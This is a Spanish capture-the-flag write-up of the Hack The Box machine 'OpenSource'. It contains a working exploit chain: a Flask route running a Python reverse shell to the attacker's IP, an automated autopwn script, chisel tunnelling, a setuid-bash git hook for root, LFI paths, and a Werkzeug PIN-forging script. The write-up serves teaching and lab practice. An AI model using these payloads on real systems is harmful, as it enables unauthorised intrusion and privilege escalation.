HTB: Resolución de OpenSource

OpenSource es una máquina Linux en la que explotaremos una vulnerabilidad de la funcionalidad de la librería os de python path.join() para sobrescribir un archivo y adentrarnos en un contenedor. Desde aquí tendremos acceso a un servicio web que corre en el puerto 3000 de la máquina víctima, Gitea. Nos podremos autenticar con unas credenciales halladas previamente y aquí encontraremos una clave privada id_rsa con las cual nos podremos autenticar por SSH. Finalmente para escalar a root, nos aprovecharemos de un script que esta corriendo este usuario a intervalos regulares de tiempo para que nos ejecute un comando empleando git hooks.

En la sección extra describo otra vía para podernos adentrar en el contenedor, forjándonos un pin para poder utilizar la consola de Werkzeug, explotando un Local File Inclusion (LFI).

Información de la máquina

Reconocimiento

ping

Primero enviaremos un ping a la máquina víctima para saber su sistema operativo y si tenemos conexión con ella. Un TTL menor o igual a 64 significa que la máquina es Linux. Por otra parte, un TTL menor o igual a 128 significa que la máquina es Windows.

Vemos que nos enfrentamos a una máquina Linux ya que su ttl es 63.

nmap

Ahora procedemos a escanear todo el rango de puertos de la máquina víctima con la finalidad de encontrar aquellos que estén abiertos (status open). Lo haremos con la herramienta nmap.

-sS efectúa un TCP SYN Scan, iniciando rápidamente una conexión sin finalizarla.
-min-rate 5000 sirve para enviar paquetes no mas lentos que 5000 paquetes por segundo.
-n sirve para evitar resolución DNS.
-Pn para evitar host discovery.
-vvv triple verbose para que nos vuelque la información que vaya encontrando el escaneo.
-p- para escanear todo el rango de puertos.
–open para escanear solo aquellos puertos que tengan un status open.
-oG exportará la evidencia en formato grepeable al fichero allPorts en este caso.

Una vez descubiertos los puertos abiertos, que en este caso son el 22 y el 80, lanzaremos una serie de scripts básicos de enumeración contra estos, en busca de los servicios que están corriendo y de sus versiones.

Ejecutaremos: nmap -sCV -p22,80 10.10.11.170 -oN targeted. Obtendremos el siguiente volcado:

  
Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-08 11:24 CEST
Nmap scan report for 10.10.11.164
Host is up (0.39s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open  http    Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Sat, 08 Oct 2022 09:24:40 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Sat, 08 Oct 2022 09:24:40 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|     Connection: close
|   RTSPRequest: 
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=10/8%Time=634141D7%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1573,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20P
SF:ython/3\.10\.3\r\nDate:\x20Sat,\x2008\x20Oct\x202022\x2009:24:40\x20GMT
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20
SF:5316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20
SF:\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=
SF:\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\
SF:n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!
SF:</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jque
SF:ry-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stat
SF:ic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script
SF:\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\
SF:x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround
SF:\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href
SF:=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<li
SF:nk\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boo
SF:tstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20
SF:\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\
SF:nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Sat,\x2008\
SF:x20Oct\x202022\x2009:24:40\x20GMT\r\nContent-Type:\x20text/html;\x20cha
SF:rset=utf-8\r\nAllow:\x20HEAD,\x20OPTIONS,\x20GET\r\nContent-Length:\x20
SF:0\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTM
SF:L\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x
SF:20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equ
SF:iv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x2
SF:0</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>E
SF:rror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code
SF::\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20req
SF:uest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20
SF:Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20
SF:\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.56 seconds

El puerto 22 es SSH y el puerto 80 es HTTP. De momento, como no disponemos de credenciales para autenticarnos contra SSH, nos centraremos en auditar el servicio web que corre en el puerto 80.

Nmap nos descubre que como tecnologías el servidor web esta utilizando Werkzeug/2.1.2 Python/3.10.3. Werkzeug es una biblioteca cuyo objetivo es hacer de comunicador entre el código python y el servidor http.

También nos descubre que el título de la web es upcloud - Upload files for Free!.

Puerto 80 abierto (HTTP)

El primer paso será utilizar la herramienta whatweb para descubrir las tecnologías que utiliza el servidor web:

Nos vuelca exactamente la misma información que el script anterior de nmap.

Cuando accedemos a la página web vemos lo siguiente:

Parece que es una web dedicada a la subida y compartición de archivos.

Si pinchamos en Download nos podremos descargar el código fuente del aplicativo mientras que si le damos a Take me there! nos redirigirá al mismo.

Para acabar con el reconocimiento inicial, la extensión de navegador wappalyzer nos detecta que como framework web de python se está utilizando Flask:

Analizando aplicación upcloud

Por lo tanto, si pinchamos en Take me there!, la web nos llevará a http://10.10.11.164/upcloud. El contenido es el siguiente:

Nos da la posibilidad de subir un archivo. Si por ejemplo subimos un archivo test.txt obtendremos una URL para poder visualizarlo via web.

Podemos probar ataques como directory path traversal o SSTI jugando con el nombre y el contenido del archivo que queremos subir, pero no obtendremos el resultado esperado. Por detrás debe de haber alguna funcionalidad que sanitiza nuestro input. Como disponemos del código fuente de la aplicación, podremos ver como lo hace.

Finalmente, también puede estar interesante visualizar el error de la web si le indicamos un archivo que no existe, por ejemplo http://10.10.11.164/uploads/test.tx:

Existe un information leakage que nos está revelando el path del sistema donde se encuentra la carpeta uploads, en /app/public/uploads.

Código fuente de upcloud

Analizando logs de git

Si descomprimimos el archivo source.zip obtenemos lo siguiente:

Podemos ver que existe un directorio .git. En este directorio es donde se almacenan los metadatos y la base de datos de objetos del aplicativo. Git permite ver los logs y los commits del proyecto, así que vamos a analizarlos. Si ejecutamos el comando git branch vemos lo siguiente:

En este proyecto existen dos ramas: dev y public, que es en la que nos encontramos ahora (el * nos lo indica). Podemos ver los logs de public con el comando git log:

Los podemos analizar con el comando git show <nombre del commit> pero no encontraremos nada interesante.

En cambio, si nos cambiamos a la rama dev con el comando git checkout dev y listamos los logs:

Y posteriormente visualizamos el contenido del commit a76f8f75f7a4a12b706b0cf9c983796fa1985820 con el comando git show a76f8f75f7a4a12b706b0cf9c983796fa1985820:

Encontraremos las siguientes credenciales: dev01:Soulless_Developer#2022.

Analizando el código de la web

En la capeta /app podemos encontrar las subcarpetas /public/uploads, ruta que ya habíamos visto anteriormente en el error de la web, donde se se guardaban los archivos subidos, y la subcarpeta app que es donde se encuentra el código de la web.

En views.py podemos ver el funcionamiento de la web para guardar un archivo y poderlo visualizar:

Para la subida de un archivo, el servicio coge el nombre de nuestro fichero y lo pasa por una función llamada get_file_name, definida en utils.py. Posteriormente concatena el path actual con public y uploads con la función os.path.join() y finalmente lo guarda en esta ruta.

El comportamiento de la función os.path.join() es un tanto peculiar. Lo que hace es concatenar los argumentos que le pasas para formar un path, pero si alguno empieza por /, borra los argumentos anteriores y empieza el path por ese mismo. Es decir, si miramos este ejemplo:

  
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> file_name = "test"
>>> print(os.path.join("/app","public","uploads",file_name))
/app/public/uploads/test
>>> file_name = "/test"
>>> print(os.path.join("/app","public","uploads",file_name))
/test
>>> 

Vemos que si file_name es igual a test, el path resultante sería /app/public/uploads/test, pero si file_name es igual a /test el path quedaría /test.

En utils.py podemos ver que la función get_file_name() coge nuestro archivo y le quita los ../ de forma recursiva, haciendo imposible aplicar drectory path traversal. También podemos ver que pone TODO: get unique filename. Si pone TODO es posible que la función get_unique_upload_name() no esté implementada en el servidor actual y podamos sobrescribir archivos.

Consiguiendo shell como root en un contenedor

Por lo tanto, sabiendo:

Como funciona os.path.join().
Que se puede sobrescribir archivos.
La ruta absoluta donde se encuentra el código de la aplicación en la máquina víctima (/app/app/).

Podríamos sobrescribir el archivo views.py, creando un nuevo endpoint, por ejemplo http://10.10.11.164/pwned que nos envíe una reverse shell al ejecutarse.

Entonces, views.py quedaría de la siguiente manera:

  
import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))


@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

@app.route('/pwned')
def pwned():
    os.system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

De esta forma, cuando accedamos a http://10.10.11.164/pwned, el sistema nos enviará una reverse shell a la ip 10.10.14.12 por el puerto 443.

Ahora para subir el archivo, deberemos interceptar la petición con BurpSuite y cambiar el campo filename de views.py a /app/app/views.py. De esta manera, os.path.join() debería de guardar el archivo en /app/app/views.py y, por consiguiente, sobrescribir el views.py antiguo de la víctima. En la siguiente imagen podemos ver el campo filename ya cambiado.

Después de darle a Forward ya habremos modificado el archivo en la máquina víctima y ya podremos acceder a http://10.10.11.164/pwned. Cuando lo hagamos recibiremos nuestra reverse shell.

Existe otra forma de ganar acceso al contenedor. La contemplo en el apartado IExtra.

Script Autopwn

El siguiente script permite la intrusión de manera automática al contenedor. Simplemente se debe de tener en el mismo directorio el views.py malicioso mostrado anteriormente.

  
#!/usr/bin/python3 

from pwn import *
import requests,sys,threading

#Ctrl+C 
def def_handler(sig,frame):
    print("[!] Saliendo...")
    sys.exit(1)

signal.signal(signal.SIGINT,def_handler)

#Variables globales 
url = "http://10.10.11.164/upcloud"
burp = {'http': 'http://localhost:8080'}

def makeRequest():

    content = open("views.py", "rb")
    file_to_upload = {'file':('/app/app/views.py',content,'text/x-python')}

    r = requests.post(url,files = file_to_upload)
    r = requests.get("http://10.10.11.164/pwned")

if __name__ == '__main__':
    p1 = log.progress("OpenSource AutoPwn")
    p1.status("Exploiting python os.path.join uploading malicious file")
    time.sleep(2)

    try:
        threading.Thread(target=makeRequest, args=()).start()
    except Exception as e:
        log.error(str(e))

    shell = listen(443, timeout=20).wait_for_connection()

    if shell.sock is None:
        p1.failure("Connection couldn't be stablished")
        sys.exit(1)
    else:
        shell.interactive()

Consiguiendo shell como dev01

Una vez recibida la shell, deberemos hacerle un tratamiento para que nos permita poder hacer Ctrl+C, borrado de los comandos, movernos con las flechas… Los comandos que ingresaremos serán:

  
python -c 'import pty;pty.spawn("/bin/sh")'
*Ctrl+Z*
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash

También deberemos adaptar el número de filas y de columnas de esta shell. Con el comando stty size podemos consultar nuestras filas y columnas y con el comando stty rows <rows> cols <cols> podemos ajustar estos campos.

Reconocimiento del sistema

Vemos que tenemos asignada la ip 172.17.0.6 y no la 10.10.11.164 de la máquina víctima:

  
/app ## ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
12: eth0@if13: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:06 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.6/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Esto quiere decir que el servicio de upcloud está corriendo en un contenedor y no en la máquina víctima. Lo que debemos hacer ahora es encontrar una manera de saltar de aquí a la máquina que corre con la ip 10.10.11.164. Si exploramos el contenedor en busca de archivos interesante no encontraremos nada.

Analizando hosts activos del segmento de red

Lo que podemos hacer es mirar si esta máquina tiene conexión con otras del mismo segmento de red, el 172.17.0.0/16, ya que seguramente una de estas ips sea de la máquina víctima. Para ello me he hecho un script hostDiscovery.sh que se encargará de enviar un ping a todas las máquinas cuyas ips estén en los rangos 172.17.0.1 y 172.17.0.254. Es script es el siguiente:

  
/tmp ## cat hostDiscovery.sh 
if [ $1 ]; then
	network=$1
	for net in $(seq 1 254); do
	timeout 1 sh -c "ping  -c 1 $network.$net >/dev/null 2>/dev/null" && echo "[*] Host activo encontrado: $network.$net"
	done
else
	echo -e "\n[*] USO: ./HostsActivos.sh <@netID>"

fi

Dándole permisos de ejecución y ejecutándolo obtenemos lo siguiente:

/tmp ## ./hostDiscovery.sh  172.17.0
[*] Host activo encontrado: 172.17.0.1
[*] Host activo encontrado: 172.17.0.2
[*] Host activo encontrado: 172.17.0.3
[*] Host activo encontrado: 172.17.0.4
[*] Host activo encontrado: 172.17.0.5
[*] Host activo encontrado: 172.17.0.6
[*] Host activo encontrado: 172.17.0.7
[*] Host activo encontrado: 172.17.0.8
[*] Host activo encontrado: 172.17.0.9

Estas son las ips del segmento de red 172.17.0.0/24 que se encuentran activas. Normalmente, la ip 172.17.0.1 suele ser de una de las interfaces de la máquina víctima (docker asigna por defecto la ip acabada en 1). De hecho, sabiendo que la 10.10.11.164 tenía abierto el puerto 22, podemos comprobar si la 172.17.0.1 también lo tiene con el comando nc -zv 172.17.0.1 22. Efectivamente, si lo tiene.

Consiguiendo conexión con la ip 172.17.0.1

Voy a utilizar la herramienta chisel, que permite hacer port forwarding, para tener conexión desde mi equipo de atacante a la 172.17.0.1 y poder así analizar los sus puertos abiertos. Recordemos que aunque la ip 172.17.0.1 y 10.10.11.164 pertenezcan a la misma máquina, no tiene por que dar el mismo resultado el escaneo de puertos abiertos. A lo mejor hay implementado algún waf o alguna regla por iptables que no nos permite ver algunos puertos abiertos escaneando la ip 10.10.11.164.

Por lo tanto, en mi máquina me descargaré el chisel de 64 bits y lo ejecutaré de la siguiente manera:

En la máquina victima, ejecutaremos el chisel de 32 bits de la siguiente forma:

  
/tmp ## ./chisel32 client 10.10.14.12:1234 R:socks
2022/10/08 10:42:18 client: Connecting to ws://10.10.14.12:1234
2022/10/08 10:42:21 client: Connected (Latency 76.345546ms)

Estamos estableciendo un tipo de conexión SOCKS. Esto nos permitirá tener acceso completo a la ip 172.17.0.1 a través del puerto 1080 de nuestro localhost.

Por último nos faltará configurar la herramienta proxychains para escanear sus puertos pero pasando por el localhost:1080. Su archivo de configuración lo podemos encontrar en la ruta /etc/proxychains.conf. En caso de no tenerlo se tendrá que instalar la herramienta. Deberemos de introducir al final del archivo la siguiente linea: socks5 127.0.0.1 1080.

Analizando 172.17.0.1

Ahora ya podremos proceder con un escaneo de nmap para descubrir los puertos abiertos de la ip 172.17.0.1. En mi caso escanearé los 100 mas comunes. El comando que ejecutaremos será:

proxychains -q nmap -T5 -n -v --top-ports 100 -sT -oN internalPortDiscovery 172.17.0.1

-q es el modo silent de proxychains.
-T5 indica el modo de escaneo, en este caso el mas rápido.
-n sirve para evitar resolución DNS.
-v verbose para que nos vuelque la información que vaya encontrando el escaneo.
–top-ports 100 para escanear los 100 puertos mas comunes (ya que si los escaneásemos todos el escaneo iría muy lento).
-sT hará un escaneo de conexión TCP completo, en lugar del escaneo predeterminado -sS SYN, que pasando por un proxy no funcionaría.
-oN exportará la evidencia al archivo internalPortDiscovery.

El resultado es el siguiente:

El escaneo nos ha descubierto puertos que antes no podíamos ver escaneando la ip 10.10.11.164, concretamente el puerto 3000, el 6000 y el 6001. Empezaremos analizando el puerto 3000.

Puerto 3000 abierto (HTTP)

Si enviamos un curl a 172.17.0.1:3000 (proxychains -q curl -s http://172.17.0.1:3000 -I) vemos que es una página web:

Vamos a acceder a la pagina web con el navegador. Antes de nada deberemos de configurar un proxy, en mi caso FoxyProxy, para que tunelice la petición al puerto 1080 de mi localhost, igual que hacía proxychains. Por tanto deberemos de crear una nueva entrada con el siguiente contenido:

Ahora ya podremos visualizar la página web:

Vemos que esta corriendo Gitea, un programa de código abierto semejante a GitHub. En la parte superior derecha vemos un apartado de Sign in y recordemos que tenemos unas credenciales que encontramos al principio y que aun no hemos utilizado: dev01:Soulless_Developer#2022. Si las probamos veremos que son válidas y podremos acceder al siguiente repositorio, que se trata de un backup del directorio home del usuario dev01:

Si nos metemos en el directorio .ssh, podremos ver la clave privada id_rsa del usuario dev01 y ya nos podremos conectar como este usuario por SSH.

La clave es la siguiente:

Nos podemos conectar introduciendo: chmod 600 id_rsa; ssh -i id_rsa dev01@10.10.11.164:

Ahora vamos a reconocer el sistema como este usuario a ver si como dev01 podemos escalar a root.

Consiguiendo shell como root

Reconocimiento del sistema

User flag

Podemos encontrar la primera flag user.txt en el homedir de dev01:

dev01@opensource:~$ cat user.txt 
af55cf80c1651ba712bba7545a118ef7

Interfaces de la máquina

Vemos que efectivamente la máquina tiene asignadas dos interfaces con las ip 10.10.11.164 y 172.17.0.1:

dev01@opensource:~$ hostname -I
10.10.11.164 172.17.0.1 

Homedir de dev01

En el homedir de dev01 (/home/dev01), nos encontramos con una carpeta .git, que debe de estar relacionada con el repositorio que habíamos visto anteriormente en Gitea. Recordemos que el repositorio se llamaba home-backup. Es posible que este usuario u otro esté haciendo backups de su homedir cada cierto tiempo.

dev01@opensource:~$ ls -la
total 44
drwxr-xr-x 7 dev01 dev01 4096 May 16 12:51 .
drwxr-xr-x 4 root  root  4096 May 16 12:51 ..
lrwxrwxrwx 1 dev01 dev01    9 Mar 23  2022 .bash_history -> /dev/null
-rw-r--r-- 1 dev01 dev01  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 dev01 dev01 3771 Apr  4  2018 .bashrc
drwx------ 2 dev01 dev01 4096 May  4 16:35 .cache
drwxrwxr-x 8 dev01 dev01 4096 Oct  8 10:54 .git
drwx------ 3 dev01 dev01 4096 May  4 16:35 .gnupg
drwxrwxr-x 3 dev01 dev01 4096 May  4 16:35 .local
-rw-r--r-- 1 dev01 dev01  807 Apr  4  2018 .profile
drwxr-xr-x 2 dev01 dev01 4096 May  4 16:35 .ssh
-rw-r----- 1 root  dev01   33 Oct  8 10:22 user.txt

Reconocimiento del sistema con pspy

Pspy es una herramienta que nos permite ver que tareas se están ejecutando a intervalos regulares de tiempo y por qué usuarios. Nos la podemos descargar del siguiente repositorio.

El programa se puede transferir a la máquina victima desplegando un servidor en python (python3 -m http.server 80) compartiendo el fichero y luego en la máquina víctima en un directorio donde tengamos permisos de escritura (como /tmp o /dev/shm) hacer un wget para descargar el archivo.

Nos encontramos que cada cierto tiempo se está ejecutando lo siguiente:

Un script llamado git-sync, que se encuentra en la ruta /usr/local/bin/ y es ejecutado por el usuario con uid igual a 0, es decir, root.

Analizando script git-sync

Si listamos los permisos del script vemos que como el usuario dev01 lo podemos ejecutar e inspeccionar:

  
dev01@opensource:/tmp$ ls -la /usr/local/bin/git-sync
-rwxr-xr-x 1 root root 239 Mar 23  2022 /usr/local/bin/git-sync

Su contenido es el siguiente:

  
dev01@opensource:/tmp$ cat /usr/local/bin/git-sync
#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

Lo que hace root es acceder al homedir de dev01 y subir el contenido que hay en /home/dev01/ al repositorio de Gitea. Este es el backup del que estábamos hablando anteriormente.

Nos aprovecharemos de que root esta ejecutando este script haciendo que ejecute un comando cuando suba la carpeta. Esto se puede hacer a través de git hooks.

Git hooks

Un hook no es mas que un código que se ejecuta cuando ocurre un evento, antes o después, como puede ser un commit o un push. Estos hooks se guardan en la carpeta hooks del directorio .git:

  
dev01@opensource:~/.git$ ls -l hooks/
total 48
-rwxrwxr-x 1 dev01 dev01  478 Mar 23  2022 applypatch-msg.sample
-rwxrwxr-x 1 dev01 dev01  896 Mar 23  2022 commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 3327 Mar 23  2022 fsmonitor-watchman.sample
-rwxrwxr-x 1 dev01 dev01  189 Mar 23  2022 post-update.sample
-rwxrwxr-x 1 dev01 dev01  424 Mar 23  2022 pre-applypatch.sample
-rwxrwxr-x 1 dev01 dev01 1642 Mar 23  2022 pre-commit.sample
-rwxrwxr-x 1 dev01 dev01 1348 Mar 23  2022 pre-push.sample
-rwxrwxr-x 1 dev01 dev01 4898 Mar 23  2022 pre-rebase.sample
-rwxrwxr-x 1 dev01 dev01  544 Mar 23  2022 pre-receive.sample
-rwxrwxr-x 1 dev01 dev01 1492 Mar 23  2022 prepare-commit-msg.sample
-rwxrwxr-x 1 dev01 dev01 3610 Mar 23  2022 update.sample

Por ejemplo, el hook pre-commit.sample se ejecutará cuando se haga un git commit, aunque para hacerlo tendremos que renombrar el archivo a pre-commit. Entonces, podemos modificar el código que contiene para que al ejecutarlo root asigne el permiso setuid a la bash. Así podremos ejecutar la bash como el propietario del binario, que es root.

El archivo quedaría de la siguiente manera:

  
dev01@opensource:~/.git/hooks$ cat pre-commit.sample 
#!/bin/sh
#
## An example hook script to verify what is about to be committed.
## Called by "git commit" with no arguments.  The hook should
## exit with non-zero status after issuing an appropriate message if
## it wants to stop the commit.
#
## To enable this hook, rename this file to "pre-commit".

chmod u+s /bin/bash

Ahora solo toca esperar haste que root ejecute el script git-sync. Después de esperar un rato, vemos que este usuario ya ha asignado el permiso deseado a la bash:

  
dev01@opensource:~/.git/hooks$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 15:08 /bin/bash

Y ya nos podremos spawnear un bash como root haciendo bash -p:

dev01@opensource:~/.git/hooks$ bash -p
bash-4.4## whoami
root

La flag final root.txt es la siguiente:

bash-4.4## cat root.txt 
08400648d6a7863796c442d66b33a902

Y su clave privada id_rsa por si luego nos queremos conectar por SSH es la siguiente:

Anexo

Forma alternativa de intrusión al contenedor

En este apartado se explica una forma alternativa de ganar acceso al contenedor en vez de sobrescribir el archivo views.py. Gracias a un LFI que podremos explotar en http://10.10.11.164/uploads/, podremos buscar una serie de archivos en la máquina víctima para forjar el pin requerido para utilizar la consola de Werkzeug en http://10.10.11.164/console.

LFI en http://10.10.11.164/uploads/

Del views.py que podíamos encontrar en el source.zip, podemos ver que este endpoint /uploads/ también hacía uso de la función os.path.join(), que recordemos que truncaba el path si uno de sus argumentos empezaba por una /.

Si jugamos con http://10.10.11.164/uploads//etc/passwd el problema que tenemos es que la app de werkzeug normaliza el path, y por tanto pasamos de http://10.10.11.164/uploads//etc/passwd a http://10.10.11.164/uploads/etc/passwd, haciendo que no funcione el LFI.

La opción correcta sería utilizar la url http://10.10.11.164/uploads/..//etc/passwd. En este caso Werkeug no normalizará el path, la función get_gile_name quitará el ../ y finalmente el os.path.join truncará el path a /etc/passwd. El resultado es el siguiente:

Forjando pin Werkzeug

El endpoint http://10.10.11.164/console nos permite ejecutar comandos de forma remota, pero en esta ocasión, la URL está protegida por pin. La buena noticia es que este pin se puede forjar teniendo en cuenta algunos parámetros internos de la máquina víctima. Por eso necesitamos el LFI. Toda la información relativa a este punto la estaré sacando de Hacktricks.

El script que deberemos ejecutar será el siguiente, pero antes deberemos sustituir algunas constantes:

  
import hashlib
from itertools import chain
probably_public_bits = [
    'web3_user',## username
    'flask.app',## modname
    'Flask',## getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.5/dist-packages/flask/app.py' ## getattr(mod, '__file__', None),
]

private_bits = [
    '279275995014060',## str(uuid.getnode()),  /sys/class/net/ens33/address
    'd4e6cb65d59544f3331ea0425dc555a1'## get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

El username es el usuario que está corriendo Flask. Sabemos que es root.
modname y getaddr ya están bien.
getaddr es el path absoluto de app.py en el directorio de flask:

Del error de la web, podemos ver que el path es /usr/local/lib/python3.10/site-packages/flask/app.py

uuid.getnode() es la MAC en decimal de la máquina víctima. La podemos encontrar en la ruta /sys/class/net/eth0/address de la máquina vícitma. Podemos hacer un curl http://10.10.11.164/uploads/..//sys/class/net/eth0/address –path-as-is para obtenerla. Es la 02:42:ac:11:00:06. En decimal: 2485377892358.
get_machine_id(), es la concatenación del valor que se encuentra en la ruta /proc/sys/kernel/random/boot_id y /proc/self/cgroup. El primer valor se obtiene con el comando curl http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id –path-as-is –ignore-content-length. Es f754c8cd-b0ac-40d2-9b10-adbc2a79449d. El segundo con el comando curl http://10.10.11.164/uploads/..//proc/self/cgroup –path-as-is –ignore-content-length. Es 7e03804a70dc28c78c52fb8b3ed16ebe3749831c01f85f875792ad512969e696.
